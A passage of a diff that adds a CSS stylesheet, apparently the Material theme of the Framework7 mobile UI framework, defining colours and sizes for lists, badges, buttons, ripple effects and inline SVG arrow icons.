.panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } +} +.md .theme-dark .list ul:before, +.list.md .theme-dark ul:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list ul:after, +.list.md .theme-dark ul:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list li li:last-child .item-inner:after, +.list.md .theme-dark li li:last-child .item-inner:after, +.md .theme-dark .list li:last-child li .item-inner:after, +.list.md .theme-dark li:last-child li .item-inner:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-divider:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list-group-title:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list-button:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-inner:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-divider, +.md .theme-dark .list-group-title { + background-color: #111; + color: #fff; +} +.md .theme-dark .links-list a:after, +.md .theme-dark .simple-list li:after, +.md .theme-dark .links-list a:after, +.links-list.md .theme-dark a .simple-list li:after, +.simple-list.md .theme-dark li:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list .item-link.active-state, +.list.md .theme-dark .item-link.active-state, +.md .theme-dark .list .list-button.active-state, +.list.md .theme-dark .list-button.active-state, +.md .theme-dark .links-list a.active-state, +.links-list.md .theme-dark a.active-state { + background-color: rgba(255, 255, 255, 0.05); +} +.md .theme-dark .item-after, +.md .theme-dark .item-text { + color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red .list-button { + color: #f44336; +} +.md .color-theme-green .list-button { + color: #4caf50; +} +.md .color-theme-blue .list-button { + color: #2196f3; +} +.md .color-theme-pink .list-button { + color: #e91e63; +} +.md .color-theme-yellow .list-button { + color: #ffeb3b; +} +.md .color-theme-orange .list-button { + color: #ff9800; +} +.md .color-theme-gray .list-button { + color: #9e9e9e; +} +.md .color-theme-white .list-button { + color: #ffffff; +} +.md .color-theme-black .list-button { + color: #000000; +} +.md .list .list-button.color-red, +.md .list li.color-red .list-button, +.md .links-list li.color-red a, +.md .simple-list li.color-red, +.md .links-list a.color-red, +.md .list .item-link.color-red, +.md .list li.color-red .item-link { + color: #f44336; +} +.md .list .list-button.color-green, +.md .list li.color-green .list-button, +.md .links-list li.color-green a, +.md .simple-list li.color-green, +.md .links-list a.color-green, +.md .list .item-link.color-green, +.md .list li.color-green .item-link { + color: #4caf50; +} +.md .list .list-button.color-blue, +.md .list li.color-blue .list-button, +.md .links-list li.color-blue a, +.md .simple-list li.color-blue, +.md .links-list a.color-blue, +.md .list .item-link.color-blue, +.md .list li.color-blue .item-link { + color: #2196f3; +} +.md .list .list-button.color-pink, +.md .list li.color-pink .list-button, +.md .links-list li.color-pink a, +.md .simple-list li.color-pink, +.md .links-list a.color-pink, +.md .list .item-link.color-pink, +.md .list li.color-pink .item-link { + color: #e91e63; +} +.md .list .list-button.color-yellow, +.md .list li.color-yellow .list-button, +.md .links-list li.color-yellow a, +.md .simple-list li.color-yellow, +.md .links-list a.color-yellow, +.md .list .item-link.color-yellow, +.md .list li.color-yellow .item-link { + color: #ffeb3b; +} +.md .list .list-button.color-orange, +.md .list li.color-orange .list-button, +.md .links-list li.color-orange a, +.md .simple-list li.color-orange, +.md .links-list a.color-orange, +.md .list .item-link.color-orange, +.md .list li.color-orange .item-link { + color: #ff9800; +} +.md .list .list-button.color-gray, +.md .list li.color-gray .list-button, +.md .links-list li.color-gray a, +.md .simple-list li.color-gray, +.md .links-list a.color-gray, +.md .list .item-link.color-gray, +.md .list li.color-gray .item-link { + color: #9e9e9e; +} +.md .list .list-button.color-white, +.md .list li.color-white .list-button, +.md .links-list li.color-white a, +.md .simple-list li.color-white, +.md .links-list a.color-white, +.md .list .item-link.color-white, +.md .list li.color-white .item-link { + color: #ffffff; +} +.md .list .list-button.color-black, +.md .list li.color-black .list-button, +.md .links-list li.color-black a, +.md .simple-list li.color-black, +.md .links-list a.color-black, +.md .list .item-link.color-black, +.md .list li.color-black .item-link { + color: #000000; +} +/* === Badge === */ +.badge { + display: inline-block; + color: #fff; + background: #8e8e93; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + text-align: center; +} +.icon .badge, +.f7-icons .badge, +.framework7-icons .badge, +.material-icons .badge { + position: absolute; + left: 100%; + margin-left: -10px; + top: -2px; +} +.md .badge { + font-size: 10px; + border-radius: 3px; + padding: 1px 6px; + vertical-align: middle; +} +.md .icon .badge, +.md .f7-icons .badge, +.md .framework7-icons .badge, +.md .material-icons .badge { + line-height: 1.4; + padding: 1px 5px; + font-family: Roboto, Noto, Helvetica, Arial, sans-serif; + font-size: 10px; +} +.md .badge.color-red { + background-color: #f44336; +} +.md .badge.color-green { + background-color: #4caf50; +} +.md .badge.color-blue { + background-color: #2196f3; +} +.md .badge.color-pink { + background-color: #e91e63; +} +.md .badge.color-yellow { + background-color: #ffeb3b; +} +.md .badge.color-orange { + background-color: #ff9800; +} +.md .badge.color-gray { + background-color: #9e9e9e; +} +.md .badge.color-white { + background-color: #ffffff; +} +.md .badge.color-black { + background-color: #000000; +} +button { + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} +.button { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; +} +input[type="submit"].button, +input[type="button"].button { + width: 100%; +} +button { + width: 100%; +} +.segmented { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: nowrap; + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; +} +.segmented .button, +.segmented button { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.subnavbar .segmented { + width: 100%; +} +.md .button { + color: #2196f3; + border-radius: 4px; + line-height: 36px; + height: 36px; + text-transform: uppercase; + min-width: 64px; + padding: 0 8px; + border: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + font-weight: 500; + letter-spacing: 0.03em; +} +.md .button.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .button.button-fill, +.md .button.button-fill-md, +.md .button.button-active, +.md .button.tab-link-active { + background-color: #2196f3; + color: #fff; +} +.md .button.button-fill.active-state, +.md .button.button-fill-md.active-state, +.md .button.button-active.active-state, +.md .button.tab-link-active.active-state { + background: #0c82df; +} +.md .button.button-big, +.md .button.button-big-md { + height: 48px; + line-height: 48px; + border-radius: 4px; +} +.md .button.button-round, +.md .button.button-round-md { + border-radius: 36px; +} +.md .button.button-outline { + border: 2px solid #2196f3; + line-height: 32px; +} +.md .button.button-outline.button-big, +.md .button.button-outline.button-big-md { + line-height: 44px; +} +.md .button.button-small, +.md .button.button-small-md { + height: 28px; + line-height: 28px; + font-size: 13px; + font-weight: 500; + letter-spacing: 0.03em; +} +.md .button.button-small.button-outline, +.md .button.button-small-md.button-outline { + border-width: 2px; + line-height: 24px; +} +.md .button > i.icon + span, +.md .button > span:not(.ripple-wave) + span, +.md .button > span:not(.ripple-wave) + i.icon, +.md .button > i.icon + i.icon { + margin-left: 8px; +} +.md .button.button-raised { + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .button.button-raised.active-state { + -webkit-box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); + box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); +} +.md .navbar .button:not(.button-fill):not(.button-fill-md), +.md .subnavbar .button:not(.button-fill):not(.button-fill-md), +.md .toolbar .button:not(.button-fill):not(.button-fill-md) { + color: #fff; +} +.md .navbar .button:not(.button-fill):not(.button-fill-md).active-state, +.md .subnavbar .button:not(.button-fill):not(.button-fill-md).active-state, +.md .toolbar .button:not(.button-fill):not(.button-fill-md).active-state { + background: rgba(255, 255, 255, 0.15); +} +.md .toast .button:not(.button-fill):not(.button-fill-md).active-state { + background: rgba(255, 255, 255, 0.15); +} +.md .segmented { + border-radius: 4px; +} +.md .segmented.segmented-raised { + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .segmented.segmented-round { + border-radius: 36px; +} +.md .segmented .button { + border-radius: 0; + min-width: 0; + border-left: 1px solid rgba(0, 0, 0, 0.1); +} +.md .segmented .button:first-child { + border-radius: 4px 0 0 4px; + border-left: none; +} +.md .segmented .button.button-outline { + border: 2px solid #2196f3; +} +.md .segmented .button.button-outline:nth-child(n + 2) { + border-left: none; +} +.md .segmented .button:last-child { + border-radius: 0 4px 4px 0; +} +.md .segmented .button:first-child:last-child { + border-radius: 4px; +} +.md .segmented .button.button-round:first-child { + border-radius: 36px 0 0 36px; +} +.md .segmented .button.button-round:last-child { + border-radius: 0 36px 36px 0; +} +.md .theme-dark .button:not(.button-fill):not(.button-fill-md):not(.button-active):not(.tab-link-active).active-state { + background-color: rgba(255, 255, 255, 0.1); +} +.md .color-theme-red .button, +.md .color-red .button { + color: #f44336; +} +.md .color-theme-red .button.button-fill, +.md .color-red .button.button-fill, +.md .color-theme-red .button.button-fill-md, +.md .color-red .button.button-fill-md, +.md .color-theme-red .button.button-active, +.md .color-red .button.button-active, +.md .color-theme-red .button.tab-link-active, +.md .color-red .button.tab-link-active { + background-color: #f44336; + color: #fff; +} +.md .color-theme-red .button.button-fill.active-state, +.md .color-red .button.button-fill.active-state, +.md .color-theme-red .button.button-fill-md.active-state, +.md .color-red .button.button-fill-md.active-state, +.md .color-theme-red .button.button-active.active-state, +.md .color-red .button.button-active.active-state, +.md .color-theme-red .button.tab-link-active.active-state, +.md .color-red .button.tab-link-active.active-state { + background: #f21f0f; +} +.md .color-theme-red .button.button-outline, +.md .color-red .button.button-outline { + border-color: #f44336; +} +.md .color-theme-green .button, +.md .color-green .button { + color: #4caf50; +} +.md .color-theme-green .button.button-fill, +.md .color-green .button.button-fill, +.md .color-theme-green .button.button-fill-md, +.md .color-green .button.button-fill-md, +.md .color-theme-green .button.button-active, +.md .color-green .button.button-active, +.md .color-theme-green .button.tab-link-active, +.md .color-green .button.tab-link-active { + background-color: #4caf50; + color: #fff; +} +.md .color-theme-green .button.button-fill.active-state, +.md .color-green .button.button-fill.active-state, +.md .color-theme-green .button.button-fill-md.active-state, +.md .color-green .button.button-fill-md.active-state, +.md .color-theme-green .button.button-active.active-state, +.md .color-green .button.button-active.active-state, +.md .color-theme-green .button.tab-link-active.active-state, +.md .color-green .button.tab-link-active.active-state { + background: #409343; +} +.md .color-theme-green .button.button-outline, +.md .color-green .button.button-outline { + border-color: #4caf50; +} +.md .color-theme-blue .button, +.md .color-blue .button { + color: #2196f3; +} +.md .color-theme-blue .button.button-fill, +.md .color-blue .button.button-fill, +.md .color-theme-blue .button.button-fill-md, +.md .color-blue .button.button-fill-md, +.md .color-theme-blue .button.button-active, +.md .color-blue .button.button-active, +.md .color-theme-blue .button.tab-link-active, +.md .color-blue .button.tab-link-active { + background-color: #2196f3; + color: #fff; +} +.md .color-theme-blue .button.button-fill.active-state, +.md .color-blue .button.button-fill.active-state, +.md .color-theme-blue .button.button-fill-md.active-state, +.md .color-blue .button.button-fill-md.active-state, +.md .color-theme-blue .button.button-active.active-state, +.md .color-blue .button.button-active.active-state, +.md .color-theme-blue .button.tab-link-active.active-state, +.md .color-blue .button.tab-link-active.active-state { + background: #0c82df; +} +.md .color-theme-blue .button.button-outline, +.md .color-blue .button.button-outline { + border-color: #2196f3; +} +.md .color-theme-pink .button, +.md .color-pink .button { + color: #e91e63; +} +.md .color-theme-pink .button.button-fill, +.md .color-pink .button.button-fill, +.md .color-theme-pink .button.button-fill-md, +.md .color-pink .button.button-fill-md, +.md .color-theme-pink .button.button-active, +.md .color-pink .button.button-active, +.md .color-theme-pink .button.tab-link-active, +.md .color-pink .button.tab-link-active { + background-color: #e91e63; + color: #fff; +} +.md .color-theme-pink .button.button-fill.active-state, +.md .color-pink .button.button-fill.active-state, +.md .color-theme-pink .button.button-fill-md.active-state, +.md .color-pink .button.button-fill-md.active-state, +.md .color-theme-pink .button.button-active.active-state, +.md .color-pink .button.button-active.active-state, +.md .color-theme-pink .button.tab-link-active.active-state, +.md .color-pink .button.tab-link-active.active-state { + background: #ca1452; +} +.md .color-theme-pink .button.button-outline, +.md .color-pink .button.button-outline { + border-color: #e91e63; +} +.md .color-theme-yellow .button, +.md .color-yellow .button { + color: #ffeb3b; +} +.md .color-theme-yellow .button.button-fill, +.md .color-yellow .button.button-fill, +.md .color-theme-yellow .button.button-fill-md, +.md .color-yellow .button.button-fill-md, +.md .color-theme-yellow .button.button-active, +.md .color-yellow .button.button-active, +.md .color-theme-yellow .button.tab-link-active, +.md .color-yellow .button.tab-link-active { + background-color: #ffeb3b; + color: #fff; +} +.md .color-theme-yellow .button.button-fill.active-state, +.md .color-yellow .button.button-fill.active-state, +.md .color-theme-yellow .button.button-fill-md.active-state, +.md .color-yellow .button.button-fill-md.active-state, +.md .color-theme-yellow .button.button-active.active-state, +.md .color-yellow .button.button-active.active-state, +.md .color-theme-yellow .button.tab-link-active.active-state, +.md .color-yellow .button.tab-link-active.active-state { + background: #ffe712; +} +.md .color-theme-yellow .button.button-outline, +.md .color-yellow .button.button-outline { + border-color: #ffeb3b; +} +.md .color-theme-orange .button, +.md .color-orange .button { + color: #ff9800; +} +.md .color-theme-orange .button.button-fill, +.md .color-orange .button.button-fill, +.md .color-theme-orange .button.button-fill-md, +.md .color-orange .button.button-fill-md, +.md .color-theme-orange .button.button-active, +.md .color-orange .button.button-active, +.md .color-theme-orange .button.tab-link-active, +.md .color-orange .button.tab-link-active { + background-color: #ff9800; + color: #fff; +} +.md .color-theme-orange .button.button-fill.active-state, +.md .color-orange .button.button-fill.active-state, +.md .color-theme-orange .button.button-fill-md.active-state, +.md .color-orange .button.button-fill-md.active-state, +.md .color-theme-orange .button.button-active.active-state, +.md .color-orange .button.button-active.active-state, +.md .color-theme-orange .button.tab-link-active.active-state, +.md .color-orange .button.tab-link-active.active-state { + background: #d68000; +} +.md .color-theme-orange .button.button-outline, +.md .color-orange .button.button-outline { + border-color: #ff9800; +} +.md .color-theme-gray .button, +.md .color-gray .button { + color: #9e9e9e; +} +.md .color-theme-gray .button.button-fill, +.md .color-gray .button.button-fill, +.md .color-theme-gray .button.button-fill-md, +.md .color-gray .button.button-fill-md, +.md .color-theme-gray .button.button-active, +.md .color-gray .button.button-active, +.md .color-theme-gray .button.tab-link-active, +.md .color-gray .button.tab-link-active { + background-color: #9e9e9e; + color: #fff; +} +.md .color-theme-gray .button.button-fill.active-state, +.md .color-gray .button.button-fill.active-state, +.md .color-theme-gray .button.button-fill-md.active-state, +.md .color-gray .button.button-fill-md.active-state, +.md .color-theme-gray .button.button-active.active-state, +.md .color-gray .button.button-active.active-state, +.md .color-theme-gray .button.tab-link-active.active-state, +.md .color-gray .button.tab-link-active.active-state { + background: #8a8a8a; +} +.md .color-theme-gray .button.button-outline, +.md .color-gray .button.button-outline { + border-color: #9e9e9e; +} +.md .color-theme-white .button, +.md .color-white .button { + color: #ffffff; +} +.md .color-theme-white .button.button-fill, +.md .color-white .button.button-fill, +.md .color-theme-white .button.button-fill-md, +.md .color-white .button.button-fill-md, +.md .color-theme-white .button.button-active, +.md .color-white .button.button-active, +.md .color-theme-white .button.tab-link-active, +.md .color-white .button.tab-link-active { + background-color: #ffffff; + color: #fff; +} +.md .color-theme-white .button.button-fill.active-state, +.md .color-white .button.button-fill.active-state, +.md .color-theme-white .button.button-fill-md.active-state, +.md .color-white .button.button-fill-md.active-state, +.md .color-theme-white .button.button-active.active-state, +.md .color-white .button.button-active.active-state, +.md .color-theme-white .button.tab-link-active.active-state, +.md .color-white .button.tab-link-active.active-state { + background: #ebebeb; +} +.md .color-theme-white .button.button-outline, +.md .color-white .button.button-outline { + border-color: #ffffff; +} +.md .color-theme-black .button, +.md .color-black .button { + color: #000000; +} +.md .color-theme-black .button.button-fill, +.md .color-black .button.button-fill, +.md .color-theme-black .button.button-fill-md, +.md .color-black .button.button-fill-md, +.md .color-theme-black .button.button-active, +.md .color-black .button.button-active, +.md .color-theme-black .button.tab-link-active, +.md .color-black .button.tab-link-active { + background-color: #000000; + color: #fff; +} +.md .color-theme-black .button.button-fill.active-state, +.md .color-black .button.button-fill.active-state, +.md .color-theme-black .button.button-fill-md.active-state, +.md .color-black .button.button-fill-md.active-state, +.md .color-theme-black .button.button-active.active-state, +.md .color-black .button.button-active.active-state, +.md .color-theme-black .button.tab-link-active.active-state, +.md .color-black .button.tab-link-active.active-state { + background: #000000; +} +.md .color-theme-black .button.button-outline, +.md .color-black .button.button-outline { + border-color: #000000; +} +.md .button.color-red { + color: #f44336; +} +.md .button.color-red.button-fill, +.md .button.color-red.button-fill-md, +.md .button.color-red.button-active, +.md .button.color-red.tab-link-active { + background-color: #f44336; + color: #fff; +} +.md .button.color-red.button-fill.active-state, +.md .button.color-red.button-fill-md.active-state, +.md .button.color-red.button-active.active-state, +.md .button.color-red.tab-link-active.active-state { + background: #f21f0f; +} +.md .button.color-red.button-outline { + border-color: #f44336; +} +.md .button.color-green { + color: #4caf50; +} +.md .button.color-green.button-fill, +.md .button.color-green.button-fill-md, +.md .button.color-green.button-active, +.md .button.color-green.tab-link-active { + background-color: #4caf50; + color: #fff; +} +.md .button.color-green.button-fill.active-state, +.md .button.color-green.button-fill-md.active-state, +.md .button.color-green.button-active.active-state, +.md .button.color-green.tab-link-active.active-state { + background: #409343; +} +.md .button.color-green.button-outline { + border-color: #4caf50; +} +.md .button.color-blue { + color: #2196f3; +} +.md .button.color-blue.button-fill, +.md .button.color-blue.button-fill-md, +.md .button.color-blue.button-active, +.md .button.color-blue.tab-link-active { + background-color: #2196f3; + color: #fff; +} +.md .button.color-blue.button-fill.active-state, +.md .button.color-blue.button-fill-md.active-state, +.md .button.color-blue.button-active.active-state, +.md .button.color-blue.tab-link-active.active-state { + background: #0c82df; +} +.md .button.color-blue.button-outline { + border-color: #2196f3; +} +.md .button.color-pink { + color: #e91e63; +} +.md .button.color-pink.button-fill, +.md .button.color-pink.button-fill-md, +.md .button.color-pink.button-active, +.md .button.color-pink.tab-link-active { + background-color: #e91e63; + color: #fff; +} +.md .button.color-pink.button-fill.active-state, +.md .button.color-pink.button-fill-md.active-state, +.md .button.color-pink.button-active.active-state, +.md .button.color-pink.tab-link-active.active-state { + background: #ca1452; +} +.md .button.color-pink.button-outline { + border-color: #e91e63; +} +.md .button.color-yellow { + color: #ffeb3b; +} +.md .button.color-yellow.button-fill, +.md .button.color-yellow.button-fill-md, +.md .button.color-yellow.button-active, +.md .button.color-yellow.tab-link-active { + background-color: #ffeb3b; + color: #fff; +} +.md .button.color-yellow.button-fill.active-state, +.md .button.color-yellow.button-fill-md.active-state, +.md .button.color-yellow.button-active.active-state, +.md .button.color-yellow.tab-link-active.active-state { + background: #ffe712; +} +.md .button.color-yellow.button-outline { + border-color: #ffeb3b; +} +.md .button.color-orange { + color: #ff9800; +} +.md .button.color-orange.button-fill, +.md .button.color-orange.button-fill-md, +.md .button.color-orange.button-active, +.md .button.color-orange.tab-link-active { + background-color: #ff9800; + color: #fff; +} +.md .button.color-orange.button-fill.active-state, +.md .button.color-orange.button-fill-md.active-state, +.md .button.color-orange.button-active.active-state, +.md .button.color-orange.tab-link-active.active-state { + background: #d68000; +} +.md .button.color-orange.button-outline { + border-color: #ff9800; +} +.md .button.color-gray { + color: #9e9e9e; +} +.md .button.color-gray.button-fill, +.md .button.color-gray.button-fill-md, +.md .button.color-gray.button-active, +.md .button.color-gray.tab-link-active { + background-color: #9e9e9e; + color: #fff; +} +.md .button.color-gray.button-fill.active-state, +.md .button.color-gray.button-fill-md.active-state, +.md .button.color-gray.button-active.active-state, +.md .button.color-gray.tab-link-active.active-state { + background: #8a8a8a; +} +.md .button.color-gray.button-outline { + border-color: #9e9e9e; +} +.md .button.color-white { + color: #ffffff; +} +.md .button.color-white.button-fill, +.md .button.color-white.button-fill-md, +.md .button.color-white.button-active, +.md .button.color-white.tab-link-active { + background-color: #ffffff; + color: #fff; +} +.md .button.color-white.button-fill.active-state, +.md .button.color-white.button-fill-md.active-state, +.md .button.color-white.button-active.active-state, +.md .button.color-white.tab-link-active.active-state { + background: #ebebeb; +} +.md .button.color-white.button-outline { + border-color: #ffffff; +} +.md .button.color-black { + color: #000000; +} +.md .button.color-black.button-fill, +.md .button.color-black.button-fill-md, +.md .button.color-black.button-active, +.md .button.color-black.tab-link-active { + background-color: #000000; + color: #fff; +} +.md .button.color-black.button-fill.active-state, +.md .button.color-black.button-fill-md.active-state, +.md .button.color-black.button-active.active-state, +.md .button.color-black.tab-link-active.active-state { + background: #000000; +} +.md .button.color-black.button-outline { + border-color: #000000; +} +/* === Touch Ripple === */ +.md .ripple, +.md .fab a, +.md a.link, +.md a.item-link, +.md .button, +.md .dialog-button, +.md .tab-link, +.md .radio, +.md .checkbox, +.md .actions-button, +.md .speed-dial-buttons a { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.md .ripple-wave { + left: 0; + top: 0; + position: absolute !important; + border-radius: 50%; + pointer-events: none; + z-index: -1; + background: rgba(0, 0, 0, 0.1); + padding: 0; + margin: 0; + font-size: 0; + -webkit-transform: translate3d(0px, 0px, 0) scale(0); + transform: translate3d(0px, 0px, 0) scale(0); + -webkit-transition-duration: 1400ms; + transition-duration: 1400ms; +} +.md .ripple-wave.ripple-wave-fill { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + opacity: 0.35; +} +.md .ripple-wave.ripple-wave-out { + -webkit-transition-duration: 600ms; + transition-duration: 600ms; + opacity: 0; +} +.button-fill .md .ripple-wave, +.picker-calendar-day .md .ripple-wave { + z-index: 1; +} +.md .button-fill .ripple-wave, +.md .button-active .ripple-wave, +.md .navbar .ripple-wave, +.md .toolbar .ripple-wave, +.md .subnavbar .ripple-wave, +.md .toast .ripple-wave, +.md .fab a .ripple-wave, +.md .stepper-fill .ripple-wave { + background: rgba(255, 255, 255, 0.3); +} +.md .messagebar .ripple-wave, +.md .searchbar .ripple-wave { + background: rgba(0, 0, 0, 0.1); +} +.md .data-table .sortable-cell .ripple-wave { + z-index: 0; +} +.md .checkbox .ripple-wave, +.md .radio .ripple-wave { + background: rgba(33, 150, 243, 0.5); + z-index: 0; +} +.md .theme-dark .page-content .ripple-wave, +.md .theme-dark .messagebar .ripple-wave, +.md .theme-dark .popover .ripple-wave, +.md .theme-dark .calendar .ripple-wave, +.calendar.md .theme-dark .ripple-wave { + background-color: rgba(255, 255, 255, 0.3); +} +.md .ripple-color-red .ripple-wave, +.md .ripple-red .ripple-wave { + background-color: rgba(244, 67, 54, 0.3); +} +.md .ripple-color-green .ripple-wave, +.md .ripple-green .ripple-wave { + background-color: rgba(76, 175, 80, 0.3); +} +.md .ripple-color-blue .ripple-wave, +.md .ripple-blue .ripple-wave { + background-color: rgba(33, 150, 243, 0.3); +} +.md .ripple-color-pink .ripple-wave, +.md .ripple-pink .ripple-wave { + background-color: rgba(233, 30, 99, 0.3); +} +.md .ripple-color-yellow .ripple-wave, +.md .ripple-yellow .ripple-wave { + background-color: rgba(255, 235, 59, 0.3); +} +.md .ripple-color-orange .ripple-wave, +.md .ripple-orange .ripple-wave { + background-color: rgba(255, 152, 0, 0.3); +} +.md .ripple-color-gray .ripple-wave, +.md .ripple-gray .ripple-wave { + background-color: rgba(158, 158, 158, 0.3); +} +.md .ripple-color-white .ripple-wave, +.md .ripple-white .ripple-wave { + background-color: rgba(255, 255, 255, 0.3); +} +.md .ripple-color-black .ripple-wave, +.md .ripple-black .ripple-wave { + background-color: rgba(0, 0, 0, 0.3); +} +/* === Icon === */ +i.icon { + display: inline-block; + vertical-align: middle; + background-size: 100% auto; + background-position: center; + background-repeat: no-repeat; + font-style: normal; + position: relative; +} +.md .icon-back { + width: 24px; + height: 24px; +} +.md .icon-forward { + width: 24px; + height: 24px; +} +.md .icon-next, +.md .icon-prev { + width: 24px; + height: 24px; +} +.md .item-media .icon { + color: #737373; +} +.md .item-media .material-icons { + font-size: 24px; + width: 24px; + height: 24px; +} +.md .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-red, +.md a.link .color-red .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-red, +.md a.link .color-red .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-red, +.md a.link .color-red .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-red, +.md a.link .color-red .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-green, +.md a.link .color-green .icon-back { + background-image: 